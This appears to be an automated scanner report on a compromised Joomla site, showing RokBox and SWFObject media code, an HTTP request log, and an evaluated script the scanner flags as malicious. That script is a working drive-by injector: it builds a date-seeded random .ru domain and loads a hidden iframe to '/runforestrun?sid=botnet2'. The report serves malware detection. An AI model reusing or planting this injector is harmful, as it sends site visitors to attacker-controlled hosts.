this.object = '<object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" standby="loading..." codebase="http://www.apple.com/qtactivex/qtplugin.cab" type="video/quicktime" width="' + size.width + '" height="' + size.height + '" id="rokboxobject"><param name="src" value="' + url + '" /><param name="scale" value="aspect" /><param name="controller" value="' + this.options.controller + '" /><param name="autoplay" value="' + this.options.autoplay + '" /><param name="bgcolor" value="' + this.options.bgcolor + '" /><param name="enablejavascript" value="true" /></object>'
}
} else if (url.match(/\.(wmv|wma|wax|wvx|asx|asf)$/i)) {
this.type = 'wmv';
if (navigator.plugins && navigator.plugins.length) {
this.object = '<object id="rokboxobject" standby="loading..." type="application/x-oleobject" data="' + url + '" width="' + size.width + '" height="' + size.height + '" /><param name="src" value="' + url + '" /><param name="autoStart" value="' + this.options.autoplay + '" /><param name="bgcolor" value="' + this.options.bgcolor + '" /></object>'
} else {
this.object = '<object id="rokboxobject" standby="loading..." classid="CLSID:22D6f312-B0F6-11D0-94AB-0080C74C7E95" type="application/x-oleobject" data="' + url + '" width="' + size.width + '" height="' + size.height + '" /><param name="filename" value="' + url + '" /><param name="showcontrols" value="' + this.options.controller + '"><param name="autoStart" value="' + this.options.autoplay + '" /><param name="bgcolor" value="' + this.options.bgcolor + '" /><param name="stretchToFit" value="true" /></object>'
}
} else if (url.match(/youtube\.com\/watch\?v=/i) || url.match(/youtube\-nocookie\.com\/watch\?v=/i)) {
this.type = 'flash';
var ytOptions = parseUri(url);
this.videoID = ytOptions['queryKey']['v'];
delete ytOptions['queryKey']['v'];
if (this.options.youtubeAutoplay && !ytOptions['queryKey']['autoplay']) ytOptions['queryKey']['autoplay'] = 1;
this.object = new SWFObject("http://www.youtube.com/v/" + this.videoID + '&' + Object.toQueryString(ytOptions['queryKey']), "rokboxobject", size.width, size.height, "9", this.options.bgcolor, "wmode", "transparent");
this.object.addParam('allowscriptaccess', 'always');
this.object.addParam('allowfullscreen', 'true')
} else if (url.match(/dailymotion\./i)) {
this.type = 'flash';
var videoId = url.split("_")[0].split('/');
this.videoId = videoId[videoId.length - 1];
this.object = new SWFObject("http://www.dailymotion.com/swf/" + this.videoId + "&v3=1&colors=background:DDDDDD;glow:FFFFFF;foreground:333333;special:FFC300;&autoPlay=1&related=0", "rokboxobject", size.width, size.height, "9", this.options.bgcolor);
this.object.addParam('allowscriptaccess', 'always');
this.object.addParam('allowfullscreen', 'true')
} else if (url.match(/metacafe\.com\/watch/i)) {
this.type = 'flash';
var videoId = url.split('/');
this.videoID = videoId[4];
this.object = new SWFObject("http://www.metacafe.com/fplayer/" + this.videoID + "/.swf", "rokboxobject", size.width, size.height, "9", this.options.bgcolor, "wmode", "transparent");
this.object.addParam('allowscriptaccess', 'always');
this.object.addParam('allowfullscreen', 'true')
} else if (url.match(/google\.com\/videoplay/i)) {
this.type = 'flash';
var videoId = url.split('=');
this.videoID = videoId[1];
this.object = new SWFObject("http://video.google.com/googleplayer.swf?docId=" + this.videoID + "&autoplay=1&hl=en", "rokboxobject", size.width, size.height, "9", this.options.bgcolor, "wmode", "transparent");
this.object.addParam('allowscriptaccess', 'always');
this.object.addParam('allowfullscreen', 'true')
} else if (url.match(/vimeo\.com\/[0-9]{1,}/i)) {
this.type = 'flash';
var videoId = url.split('/');
this.videoID = videoId[3];
this.options.vimeoFullScreen = (this.options.vimeoFullScreen) ? 1 : 0;
this.options.vimeoTitle = (this.options.vimeoTitle) ? 1 : 0;
this.options.vimeoByline = (this.options.vimeoByline) ? 1 : 0;
this.options.vimeoPortrait = (this.options.vimeoPortrait) ? 1 : 0;
this.options.vimeoColor = (this.options.vimeoColor.match(/[0-9]{6}/)) ? this.options.vimeoColor : '00adef';
this.object = new SWFObject("http://www.vimeo.com/moogaloop.swf?clip_id=" + this.videoID + "&server=www.vimeo.com&fullscreen=" + this.options.vimeoFullScreen + "&show_title=" + this.options.vimeoTitle + "&show_byline=" + this.options.vimeoByline + "&show_portrait=" + this.options.vimeoPortrait + "&color=" + this.options.vimeoColor + "", "rokboxobject", size.width, size.height, "9", this.options.bgcolor);
this.object.addParam('allowscriptaccess', 'always');
this.object.addParam('allowfullscreen', 'true')
} else if (url.match(/\.swf/i)) {
this.type = 'flash';
this.object = new SWFObject(url, "rokboxobject", size.width, size.height, "9", this.options.bgcolor, "wmode", "transparent");
this.object.addParam('allowscriptaccess', 'always');
this.object.addParam('allowfullscreen', 'true')
} else if (url.match(/\.flv/i) && window.rokboxPath) {
this.type = 'flash';
url = window.rokboxPath + 'jwplayer/jwplayer.swf?file=' + url;
this.object = new SWFObject(url, "rokboxobject", size.width, size.height, "9", this.options.bgcolor, "wmode", "transparent");
this.object.addParam('allowscriptaccess', 'always');
this.object.addParam('allowfullscreen', 'true')
} else if (url.match(/\.(mp3|m4a)$/i)) {
this.type = 'audio';
this.object = '<object id="rokboxobject"" width="' + size.width + '" height="' + size.height + '" data="' + url + '"" type="' + ((window.ie) ? 'application/x-mplayer2' : 'audio/mpeg') + '"><param value="' + url + '" name="src"/><param value="' + url + '" name="filename"/><param value="' + ((window.ie) ? 'application/x-mplayer2' : 'audio/mpeg') + '" name="type"/><param name="bgcolor" value="' + this.options.bgcolor + '" /><p>No plugin matched for playing: ' + url + '</p></object>'
} else if (url.match(/\.wav$/i)) {
this.type = 'audio';
this.object = '<object id="rokboxobject"" width="' + size.width + '" height="' + size.height + '" data="' + url + '"" type="' + ((window.ie) ? 'application/x-mplayer2' : 'audio/wav') + '"><param value="' + url + '" name="src"/><param value="' + url + '" name="filename"/><param value="' + ((window.ie) ? 'application/x-mplayer2' : 'audio/wav') + '" name="type"/><param name="bgcolor" value="' + this.options.bgcolor + '" /><p>No plugin matched for playing: ' + url + '</p></object>'
} else {
this.type = 'iframe';
var IFrameID = "rokboxobject" + $time() + $random(0, 100);
this.object = new Element('iframe').setProperties({
id: IFrameID,
width: size.width,
height: size.height,
frameBorder: 0,
scrolling: 'auto',
src: url
});
var self = this;
this.object.onload = function() {
self.container.removeClass('spinner')
}
}
this.movie = $('rokboxobject');
if (this.type) {
this.container = new Element('div', {
'id': cls + '-container',
'class': cls + '-container'
}).addClass('spinner').setStyles(size).injectInside(this.center);
if (this.type == 'flash') this.object.write(this.container);
else if (this.type == 'module') {
this.object.clone(true).inject(this.container.removeClass('spinner')).setStyle('display', 'block')
} else if (this.type == 'html') {
this.object.inject(this.container);
new Ajax(url, {
'method': 'get',
'evalScripts': true,
'update': this.object,
onComplete: function() {
this.container.removeClass('spinner')
}.bind(this)
}).request()
} else if (this.type == 'iframe') {
this.object.inject(this.container)
} else if (this.type != 'image') this.container.removeClass('spinner').setHTML(this.object);
if (group) {
var list = this.groups.get(group),
self = this;
if (list.length > 1) {
if (!this.arrows) {
this.arrows = new Element('div', {
'id': this.options.className + '-arrows'
}).inject(this.center).hide();
if (index != 1) {
this.prevArrow = new Element('a', {
'id': this.options.className + '-previous'
}).inject(this.arrows).setHTML('<span><previous</span>');
this.prevArrow.setProperties({
'href': list[index - 2].getProperty('href'),
'title': list[index - 2].getProperty('title')
})
};
if (index != list.length) {
this.nextArrow = new Element('a', {
'id': this.options.className + '-next'
}).inject(this.arrows).setHTML('<span>next ></span>');
this.nextArrow.setProperties({
'href': list[index].getProperty('href'),
'title': list[index].getProperty('title')
})
};
if (index == 1) this.prevArrow = new Element('a', {
'id': this.options.className + '-previous',
'class': 'inactive',
'href': '#'
}).inject(this.arrows, 'top').setHTML('<span><previous</span>');
if (index == list.length) this.nextArrow = new Element('a', {
'id': this.options.className + '-next',
'class': 'inactive',
'href': '#'
}).inject(this.arrows).setHTML('<span>next ></span>');
this.prevArrow.addEvent('click', function(e) {
e = new Event(e).stop();
if (!this.hasClass('inactive')) {
self.changeGroup = true;
self.nextGroup = [e, this, list, index];
self.swtch = true;
self.close(e, 'growl')
}
});
this.nextArrow.addEvent('click', function(e) {
e = new Event(e).stop();
if (!this.hasClass('inactive')) {
self.changeGroup = true;
self.nextGroup = [e, this, list, index];
self.swtch = true;
self.close(e, 'growl')
}
})
};
this.arrows.show()
}
};
if (this.options.captions) {
var getCaption = this.getCaption(caption) || [false, false];
var title = getCaption[0],
description = getCaption[1];
if (this.caption) this.caption.empty().remove();
this.caption = new Element('div', {
'id': this.options.className + '-caption'
}).inject(this.center).setStyle('opacity', 0).adopt(title, description)
}
}
},
unloadVideo: function() {
if (this.type) {
this.container.setStyle('visibility', 'hidden').empty()
}
this.movie = null;
this.type = false
},
getCaption: function(caption) {
caption = caption.split(" :: ") || false;
switch (caption.length) {
case 0:
return false;
break;
case 1:
var title = false;
var description = new Element('p').setText(caption[0]);
break;
case 2:
var title = new Element('h2').setText(caption[0]);
var description = new Element('p').setText(caption[1]);
break
}
return [title, description]
},
getGroup: function(el) {
var rel = el.getProperty('rel'),
group = false;
if (rel) group = rel.match(/\([a-z0-9A-Z]+\)/g) || false;
if (group[0]) group = group[0].replace("(", "").replace(")", "");
else group = false;
return group
}
});
RokBox.implement(new Options, new Chain);
var Rokverlay = new Class({
options: {
'id': false,
'class': false,
'background': '#000000',
'opacity': 0.7,
'zIndex': 65555,
'duration': 200,
'transition': Fx.Transitions.Quad.easeInOut
},
initialize: function(where, options) {
this.where = $(where) || $(document.body);
this.setOptions(options);
this.overlay = new Element('div', {
'id': this.options.id || ('rokverlay-' + $random(1, 1000)),
'class': this.options.id || ('rokverlay-' + $random(1, 1000)),
'styles': {
'opacity': 0,
'display': 'none',
'position': 'absolute',
'top': 0,
'left': 0,
'cursor': 'pointer',
'background-color': this.options.background,
'z-index': this.options.zIndex
}
}).inject(document.body);
this.fx = new Fx.Style(this.overlay, 'opacity', {
duration: this.options.duration,
transition: this.options.transition
});
this.open = false;
return this
},
reposition: function(sizes) {
var where = this.where;
sizes = sizes || window.getSize().scrollSize;
this.overlay.setStyles({
top: where.getPosition().y || 0,
left: where.getPosition().x || 0,
width: window.getSize().size.x,
height: sizes.y
});
return this
},
show: function() {
var overlay = this.overlay,
self = this;
this.overlay.setStyle('display', '');
this.open = true;
this.reposition().fx.start(this.options.opacity).chain(function() {
self.fireEvent('onShow', overlay)
});
return this
},
hide: function() {
var overlay = this.overlay,
self = this;
this.open = false;
this.reposition().fx.start(0).chain(function() {
overlay.setStyle('display', 'none');
self.fireEvent('onHide', overlay)
});
return this
},
toggle: function() {
this[this.open ? 'hide' : 'show']();
return this
}
});
Rokverlay.implement(new Options, new Events);
RokBox.implement({
effects: function(type, position) {
var effect = {};
if (!position) position = 0;
switch (type) {
case 'growl':
effect = {
'start': {
'top': [position.top - this.options.chase, position.top],
'opacity': 1
},
'end': {
'top': this.wrapper.getStyle('top').toInt() + this.options.chase,
'opacity': 0
}
};
break;
case 'quicksilver':
var height = this.wrapper.getStyle('height').toInt(),
width = this.wrapper.getStyle('width').toInt();
effect = {
'start': {
'top': [position.top + (height / 2), position.top],
'height': [0, height],
'opacity': 1
},
'end': {
'top': position.top + (height / 2),
'left': window.getSize().size.x / 2 - ((window.getSize().scrollSize.x - 10) / 2),
'width': window.getSize().scrollSize.x - 30,
'height': 0,
'opacity': 0
}
};
break;
case 'explode':
var height = this.wrapper.getStyle('height').toInt(),
width = this.wrapper.getStyle('width').toInt();
effect = {
'start': {
'height': [0, height],
'width': [0, width],
'opacity': 1,
'top': [(window.getSize().size.y / 2) + window.getSize().scroll.y, position.top],
'left': [(window.getSize().size.x / 2) + window.getSize().scroll.x, position.left]
},
'end': {
'height': 0,
'width': 0,
'opacity': 0,
'top': (window.getSize().size.y / 2) + window.getSize().scroll.y,
'left': (window.getSize().size.x / 2) + window.getSize().scroll.x
}
};
break;
case 'fade':
effect = {
'start': {
'opacity': 1
},
'end': {
'opacity': 0
}
}
};
return effect
}
});
function parseUri(str) {
var o = parseUri.options,
m = o.parser[o.strictMode ? "strict" : "loose"].exec(str),
uri = {},
i = 14;
while (i--) uri[o.key[i]] = m[i] || "";
uri[o.q.name] = {};
uri[o.key[12]].replace(o.q.parser, function($0, $1, $2) {
if ($1) uri[o.q.name][$1] = $2
});
return uri
};
parseUri.options = {
strictMode: false,
key: ["source", "protocol", "authority", "userInfo", "user", "password", "host", "port", "relative", "path", "directory", "file", "query", "anchor"],
q: {
name: "queryKey",
parser: /(?:^|&)([^&=]*)=?([^&]*)/g
},
parser: {
strict: /^(?:([^:\/?#]+):)?(?:\/\/((?:(([^:@]*):?([^:@]*))?@)?([^:\/?#]*)(?::(\d*))?))?((((?:[^?#\/]*\/)*)([^?#]*))(?:\?([^#]*))?(?:#(.*))?)/,
loose: /^(?:(?![^:@]+:[^:@\/]*@)([^:\/?#.]+):)?(?:\/\/)?((?:(([^:@]*):?([^:@]*))?@)?([^:\/?#]*)(?::(\d*))?)(((\/(?:[^?#](?![^?#\/]*\.[^?#\/.]+(?:[?#]|$)))*\/?)?([^?#\/]*))(?:\?([^#]*))?(?:#(.*))?)/
}
};
if (typeof deconcept == "undefined") {
var deconcept = new Object()
}
if (typeof deconcept.util == "undefined") {
deconcept.util = new Object()
}
if (typeof deconcept.SWFObjectUtil == "undefined") {
deconcept.SWFObjectUtil = new Object()
}
deconcept.SWFObject = function(_1, id, w, h, _5, c, _7, _8, _9, _a) {
if (!document.getElementById) {
return
}
this.DETECT_KEY = _a ? _a : "detectflash";
this.skipDetect = deconcept.util.getRequestParameter(this.DETECT_KEY);
this.params = new Object();
this.variables = new Object();
this.attributes = new Array();
if (_1) {
this.setAttribute("swf", _1)
}
if (id) {
this.setAttribute("id", id)
}
if (w) {
this.setAttribute("width", w)
}
if (h) {
this.setAttribute("height", h)
}
if (_5) {
this.setAttribute("version", new deconcept.PlayerVersion(_5.toString().split(".")))
}
this.installedVer = deconcept.SWFObjectUtil.getPlayerVersion();
if (!window.opera && document.all && this.installedVer.major > 7) {
deconcept.SWFObject.doPrepUnload = true
}
if (c) {
this.addParam("bgcolor", c)
}
var q = _7 ? _7 : "high";
this.addParam("quality", q);
this.setAttribute("useExpressInstall", false);
this.setAttribute("doExpressInstall", false);
var _c = (_8) ? _8 : window.location;
this.setAttribute("xiRedirectUrl", _c);
this.setAttribute("redirectUrl", "");
if (_9) {
this.setAttribute("redirectUrl", _9)
}
};
deconcept.SWFObject.prototype = {
useExpressInstall: function(_d) {
this.xiSWFPath = !_d ? "expressinstall.swf" : _d;
this.setAttribute("useExpressInstall", true)
},
setAttribute: function(_e, _f) {
this.attributes[_e] = _f
},
getAttribute: function(_10) {
return this.attributes[_10]
},
addParam: function(_11, _12) {
this.params[_11] = _12
},
getParams: function() {
return this.params
},
addVariable: function(_13, _14) {
this.variables[_13] = _14
},
getVariable: function(_15) {
return this.variables[_15]
},
getVariables: function() {
return this.variables
},
getVariablePairs: function() {
var _16 = new Array();
var key;
var _18 = this.getVariables();
for (key in _18) {
_16[_16.length] = key + "=" + _18[key]
}
return _16
},
getSWFHTML: function() {
var _19 = "";
if (navigator.plugins && navigator.mimeTypes && navigator.mimeTypes.length) {
if (this.getAttribute("doExpressInstall")) {
this.addVariable("MMplayerType", "PlugIn");
this.setAttribute("swf", this.xiSWFPath)
}
_19 = "<embed type=\"application/x-shockwave-flash\" src=\"" + this.getAttribute("swf") + "\" width=\"" + this.getAttribute("width") + "\" height=\"" + this.getAttribute("height") + "\" style=\"" + this.getAttribute("style") + "\"";
_19 += " id=\"" + this.getAttribute("id") + "\" name=\"" + this.getAttribute("id") + "\" ";
var _1a = this.getParams();
for (var key in _1a) {
_19 += [key] + "=\"" + _1a[key] + "\" "
}
var _1c = this.getVariablePairs().join("&");
if (_1c.length > 0) {
_19 += "flashvars=\"" + _1c + "\""
}
_19 += "/>"
} else {
if (this.getAttribute("doExpressInstall")) {
this.addVariable("MMplayerType", "ActiveX");
this.setAttribute("swf", this.xiSWFPath)
}
_19 = "<object id=\"" + this.getAttribute("id") + "\" classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" width=\"" + this.getAttribute("width") + "\" height=\"" + this.getAttribute("height") + "\" style=\"" + this.getAttribute("style") + "\">";
_19 += "<param name=\"movie\" value=\"" + this.getAttribute("swf") + "\" />";
var _1d = this.getParams();
for (var key in _1d) {
_19 += "<param name=\"" + key + "\" value=\"" + _1d[key] + "\" />"
}
var _1f = this.getVariablePairs().join("&");
if (_1f.length > 0) {
_19 += "<param name=\"flashvars\" value=\"" + _1f + "\" />"
}
_19 += "</object>"
}
return _19
},
write: function(_20) {
if (this.getAttribute("useExpressInstall")) {
var _21 = new deconcept.PlayerVersion([6, 0, 65]);
if (this.installedVer.versionIsValid(_21) && !this.installedVer.versionIsValid(this.getAttribute("version"))) {
this.setAttribute("doExpressInstall", true);
this.addVariable("MMredirectURL", escape(this.getAttribute("xiRedirectUrl")));
document.title = document.title.slice(0, 47) + " - Flash Player Installation";
this.addVariable("MMdoctitle", document.title)
}
}
if (this.skipDetect || this.getAttribute("doExpressInstall") || this.installedVer.versionIsValid(this.getAttribute("version"))) {
var n = (typeof _20 == "string") ? document.getElementById(_20) : _20;
n.innerHTML = this.getSWFHTML();
return true
} else {
if (this.getAttribute("redirectUrl") != "") {
document.location.replace(this.getAttribute("redirectUrl"))
}
}
return false
}
};
deconcept.SWFObjectUtil.getPlayerVersion = function() {
var _23 = new deconcept.PlayerVersion([0, 0, 0]);
if (navigator.plugins && navigator.mimeTypes.length) {
var x = navigator.plugins["Shockwave Flash"];
if (x && x.description) {
_23 = new deconcept.PlayerVersion(x.description.replace(/([a-zA-Z]|\s)+/, "").replace(/(\s+r|\s+b[0-9]+)/, ".").split("."))
}
} else {
if (navigator.userAgent && navigator.userAgent.indexOf("Windows CE") >= 0) {
var axo = 1;
var _26 = 3;
while (axo) {
try {
_26++;
axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash." + _26);
_23 = new deconcept.PlayerVersion([_26, 0, 0])
} catch (e) {
axo = null
}
}
} else {
try {
var axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.7")
} catch (e) {
try {
var axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.6");
_23 = new deconcept.PlayerVersion([6, 0, 21]);
axo.AllowScriptAccess = "always"
} catch (e) {
if (_23.major == 6) {
return _23
}
}
try {
axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash")
} catch (e) {}
}
if (axo != null) {
_23 = new deconcept.PlayerVersion(axo.GetVariable("$version").split(" ")[1].split(","))
}
}
}
return _23
};
deconcept.PlayerVersion = function(_29) {
this.major = _29[0] != null ? parseInt(_29[0]) : 0;
this.minor = _29[1] != null ? parseInt(_29[1]) : 0;
this.rev = _29[2] != null ? parseInt(_29[2]) : 0
};
deconcept.PlayerVersion.prototype.versionIsValid = function(fv) {
if (this.major < fv.major) {
return false
}
if (this.major > fv.major) {
return true
}
if (this.minor < fv.minor) {
return false
}
if (this.minor > fv.minor) {
return true
}
if (this.rev < fv.rev) {
return false
}
return true
};
deconcept.util = {
getRequestParameter: function(_2b) {
var q = document.location.search || document.location.hash;
if (_2b == null) {
return q
}
if (q) {
var _2d = q.substring(1).split("&");
for (var i = 0; i < _2d.length; i++) {
if (_2d[i].substring(0, _2d[i].indexOf("=")) == _2b) {
return _2d[i].substring((_2d[i].indexOf("=") + 1))
}
}
}
return ""
}
};
deconcept.SWFObjectUtil.cleanupSWFs = function() {
var _2f = document.getElementsByTagName("OBJECT");
for (var i = _2f.length - 1; i >= 0; i--) {
_2f[i].style.display = "none";
for (var x in _2f[i]) {
if (typeof _2f[i][x] == "function") {
_2f[i][x] = function() {}
}
}
}
};
if (deconcept.SWFObject.doPrepUnload) {
if (!deconcept.unloadSet) {
deconcept.SWFObjectUtil.prepUnload = function() {
__flash_unloadHandler = function() {};
__flash_savedUnloadHandler = function() {};
window.attachEvent("onunload", deconcept.SWFObjectUtil.cleanupSWFs)
};
window.attachEvent("onbeforeunload", deconcept.SWFObjectUtil.prepUnload);
deconcept.unloadSet = true
}
}
if (!document.getElementById && document.all) {
document.getElementById = function(id) {
return document.all[id]
}
}
var getQueryParamValue = deconcept.util.getRequestParameter;
var FlashObject = deconcept.SWFObject;
var SWFObject = deconcept.SWFObject; |
#2 JavaScript::Eval (size: 1776, repeated: 5) - Script marked as maliciousfunction nextRandomNumber() {
var hi = this.seed / this.Q;
var lo = this.seed % this.Q;
var test = this.A * lo - this.R * hi;
if (test > 0) {
this.seed = test;
} else {
this.seed = test + this.M;
}
return (this.seed * this.oneOverM);
}
function RandomNumberGenerator(unix) {
var d = new Date(unix * 1000);
var s = d.getHours() > 12 ? 1 : 0;
this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) + (Math.round(s * 0xFFF));
this.A = 48271;
this.M = 2147483647;
this.Q = this.M / this.A;
this.R = this.M % this.A;
this.oneOverM = 1.0 / this.M;
this.next = nextRandomNumber;
return this;
}
function createRandomNumber(r, Min, Max) {
return Math.round((Max - Min) * r.next() + Min);
}
function generatePseudoRandomString(unix, length, zone) {
var rand = new RandomNumberGenerator(unix);
var letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'];
var str = '';
for (var i = 0; i < length; i++) {
str += letters[createRandomNumber(rand, 0, letters.length - 1)];
}
return str + '.' + zone;
}
setTimeout(function() {
try {
if (typeof iframeWasCreated == "undefined") {
iframeWasCreated = true;
var unix = Math.round(+new Date() / 1000);
var domainName = generatePseudoRandomString(unix, 16, 'ru');
ifrm = document.createElement("IFRAME");
ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=botnet2");
ifrm.style.width = "0px";
ifrm.style.height = "0px";
ifrm.style.visibility = "hidden";
document.body.appendChild(ifrm);
}
} catch (e) {}
}, 500); |
#3 JavaScript::Eval (size: 3, repeated: 8880) - Script marked as suspiciousj % 2 |
Executed Writes (1)
#1 JavaScript::Write (size: 84, repeated: 1) |
HTTP Transactions (50)
| Request | Response |
|---|---|
GET / HTTP/1.1
| HTTP/1.1 200 OK Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 |
GET /templates/jamboree/favicon.ico HTTP/1.1
| HTTP/1.1 200 OK Last-Modified: Mon, 23 Aug 2010 09:29:06 GMT |
GET /plugins/system/rokbox/themes/light/rokbox-style.css HTTP/1.1
| HTTP/1.1 200 OK Last-Modified: Mon, 23 Aug 2010 09:29:06 GMT |
GET /templates/system/css/system.css HTTP/1.1
| HTTP/1.1 200 OK Last-Modified: Mon, 23 Aug 2010 09:29:08 GMT |
GET /templates/system/css/general.css HTTP/1.1
| HTTP/1.1 200 OK Last-Modified: Mon, 23 Aug 2010 09:29:08 GMT |
GET /media/system/js/caption.js HTTP/1.1
| HTTP/1.1 200 OK Last-Modified: Mon, 09 Jul 2012 03:12:08 GMT |
GET /plugins/system/rokbox/themes/light/rokbox-config.js HTTP/1.1
| HTTP/1.1 200 OK Last-Modified: Mon, 09 Jul 2012 03:13:26 GMT |
GET /plugins/system/rokbox/rokbox.js HTTP/1.1
| HTTP/1.1 200 OK Last-Modified: Mon, 09 Jul 2012 03:12:45 GMT |
GET /media/system/js/mootools.js HTTP/1.1
| HTTP/1.1 200 OK Last-Modified: Mon, 09 Jul 2012 03:11:34 GMT |
GET /templates/jamboree/css/template.css HTTP/1.1
| HTTP/1.1 200 OK Last-Modified: Mon, 23 Aug 2010 09:29:06 GMT |
GET /templates/jamboree/script.js HTTP/1.1
| HTTP/1.1 200 OK Last-Modified: Mon, 09 Jul 2012 03:14:01 GMT |
GET /modules/mod_savira_photogallery/savira.css HTTP/1.1
| HTTP/1.1 200 OK Last-Modified: Mon, 23 Aug 2010 09:29:03 GMT |
GET /templates/jamboree/images/Sheet-s.png HTTP/1.1
| HTTP/1.1 200 OK Last-Modified: Mon, 23 Aug 2010 09:29:07 GMT |
GET /templates/jamboree/images/Sheet-h.png HTTP/1.1
| HTTP/1.1 200 OK Last-Modified: Mon, 23 Aug 2010 09:29:07 GMT |
GET /templates/jamboree/images/Sheet-v.png HTTP/1.1
| HTTP/1.1 200 OK Last-Modified: Mon, 23 Aug 2010 09:29:07 GMT |
GET /templates/jamboree/images/crushed.png HTTP/1.1
| HTTP/1.1 200 OK Last-Modified: Mon, 23 Aug 2010 09:29:07 GMT |
GET /images/stories/servicii/header_welcome.jpg HTTP/1.1
| HTTP/1.1 200 OK Last-Modified: Mon, 23 Aug 2010 09:28:59 GMT |
GET /images/stories/magazin_jamboree.jpg HTTP/1.1
| HTTP/1.1 200 OK Last-Modified: Mon, 23 Aug 2010 09:28:59 GMT |
GET /templates/jamboree/images/crusher.gif HTTP/1.1
| HTTP/1.1 404 Not Found Server: Microsoft-IIS/7.5 |
GET /templates/jamboree/images/MenuItem.png HTTP/1.1
| HTTP/1.1 200 OK Last-Modified: Mon, 23 Aug 2010 09:29:07 GMT |
GET /templates/jamboree/images/bodyloop.jpg HTTP/1.1
| HTTP/1.1 200 OK Last-Modified: Mon, 23 Aug 2010 09:29:07 GMT |
GET /templates/jamboree/images/Block-h.png HTTP/1.1
| HTTP/1.1 200 OK Last-Modified: Mon, 23 Aug 2010 09:29:07 GMT |
GET /templates/jamboree/images/Block-v.png HTTP/1.1
| HTTP/1.1 200 OK Last-Modified: Mon, 23 Aug 2010 09:29:07 GMT |
GET /templates/jamboree/images/Block-s.png HTTP/1.1
| HTTP/1.1 200 OK Last-Modified: Mon, 23 Aug 2010 09:29:07 GMT |
GET /templates/jamboree/images/BlockContentBullets.png HTTP/1.1
| HTTP/1.1 200 OK Last-Modified: Mon, 23 Aug 2010 09:29:07 GMT |
GET /templates/jamboree/images/BlockHeaderIcon.png HTTP/1.1
| HTTP/1.1 200 OK Last-Modified: Mon, 23 Aug 2010 09:29:07 GMT |
GET /templates/jamboree/images/footer.jpg HTTP/1.1
| HTTP/1.1 200 OK Last-Modified: Mon, 23 Aug 2010 09:29:07 GMT |
GET /templates/jamboree/images/Header.jpg HTTP/1.1
| HTTP/1.1 200 OK Last-Modified: Mon, 23 Aug 2010 09:29:07 GMT |
GET /ga.js HTTP/1.1
| HTTP/1.1 200 OK Content-Length: 14888 |
GET /modules/mod_savira_photogallery/StackPhotoGalleryDemo.swf HTTP/1.1
| HTTP/1.1 200 OK Last-Modified: Mon, 23 Aug 2010 09:29:03 GMT |
GET /__utm.gif?utmwv=5.3.7&utms=1&utmn=145739415&utmhn=www.jamboree.ro&utmcs=UTF-8&utmsr=1176x885&utmvp=1159x778&utmsc=24-bit&utmul=en-us&utmje=1&utmfl=10.0%20r45&utmdt=Jamboree.ro%20-%20Personal%20%26%20Business%20Events&utmhid=888062211&utmr=-&utmp=%2F&utmac=UA-2750470-4&utmcc=__utma%3D143591470.490507685.1352526496.1352526496.1352526496.1%3B%2B__utmz%3D143591470.1352526496.1.1.utmcsr%3D(direct)%7Cutmccn%3D(direct)%7Cutmcmd%3D(none)%3B&utmu=D~ HTTP/1.1 GET /__utm.gif?utmwv=5.3.7&utms=1&utmn=145739415&utmhn=www.jamboree.ro&utmcs=UTF-8&utmsr=1176x885&utmvp=1159x778&utmsc=24-bit&utmul=en-us&utmje=1&utmfl=10.0%20r45&utmdt=Jamboree.ro%20-%20Personal%20%26%20Business%20Events&utmhid=888062211&utmr=-&utmp=%2F&utmac=UA-2750470-4&utmcc=__utma%3D143591470.490507685.1352526496.1352526496.1352526496.1%3B%2B__utmz%3D143591470.1352526496.1.1.utmcsr%3D(direct)%7Cutmccn%3D(direct)%7Cutmcmd%3D(none)%3B&utmu=D~ HTTP/1.1 | HTTP/1.1 200 OK Date: Fri, 09 Nov 2012 20:33:28 GMT |
GET /plugins/system/rokbox/themes/light/tl.png HTTP/1.1
| HTTP/1.1 200 OK Last-Modified: Mon, 23 Aug 2010 09:29:06 GMT |
GET /plugins/system/rokbox/themes/light/top.png HTTP/1.1
| HTTP/1.1 200 OK Last-Modified: Mon, 23 Aug 2010 09:29:06 GMT |
GET /plugins/system/rokbox/themes/light/bl.png HTTP/1.1
| HTTP/1.1 200 OK Last-Modified: Mon, 23 Aug 2010 09:29:06 GMT |
GET /plugins/system/rokbox/themes/light/right.png HTTP/1.1
| HTTP/1.1 200 OK Last-Modified: Mon, 23 Aug 2010 09:29:06 GMT |
GET /plugins/system/rokbox/themes/light/left.png HTTP/1.1
| HTTP/1.1 200 OK Last-Modified: Mon, 23 Aug 2010 09:29:06 GMT |
GET /get/flashplayer/update/current/xml/version_en_win_pl.xml HTTP/1.1
| HTTP/1.1 200 OK Server: Apache |
GET /plugins/system/rokbox/themes/light/tr.png HTTP/1.1
| HTTP/1.1 200 OK Last-Modified: Mon, 23 Aug 2010 09:29:06 GMT |
GET /plugins/system/rokbox/themes/light/br.png HTTP/1.1
| HTTP/1.1 200 OK Last-Modified: Mon, 23 Aug 2010 09:29:06 GMT |
GET /plugins/system/rokbox/themes/light/bottom.png HTTP/1.1
| HTTP/1.1 200 OK Last-Modified: Mon, 23 Aug 2010 09:29:06 GMT |
GET /plugins/system/rokbox/themes/light/close.png HTTP/1.1
| HTTP/1.1 200 OK Last-Modified: Mon, 23 Aug 2010 09:29:06 GMT |
GET /modules/mod_savira_photogallery/gallery.xml HTTP/1.1
| HTTP/1.1 200 OK Last-Modified: Mon, 23 Aug 2010 09:29:03 GMT |
GET /templates/jamboree/images/MenuSeparator.png HTTP/1.1
| HTTP/1.1 200 OK Last-Modified: Mon, 23 Aug 2010 09:29:07 GMT |
GET /modules/mod_savira_photogallery/images/bg.png HTTP/1.1
| HTTP/1.1 200 OK Last-Modified: Mon, 23 Aug 2010 09:29:03 GMT |
GET /modules/mod_savira_photogallery/sounds/imageChangeEffect.mp3 HTTP/1.1
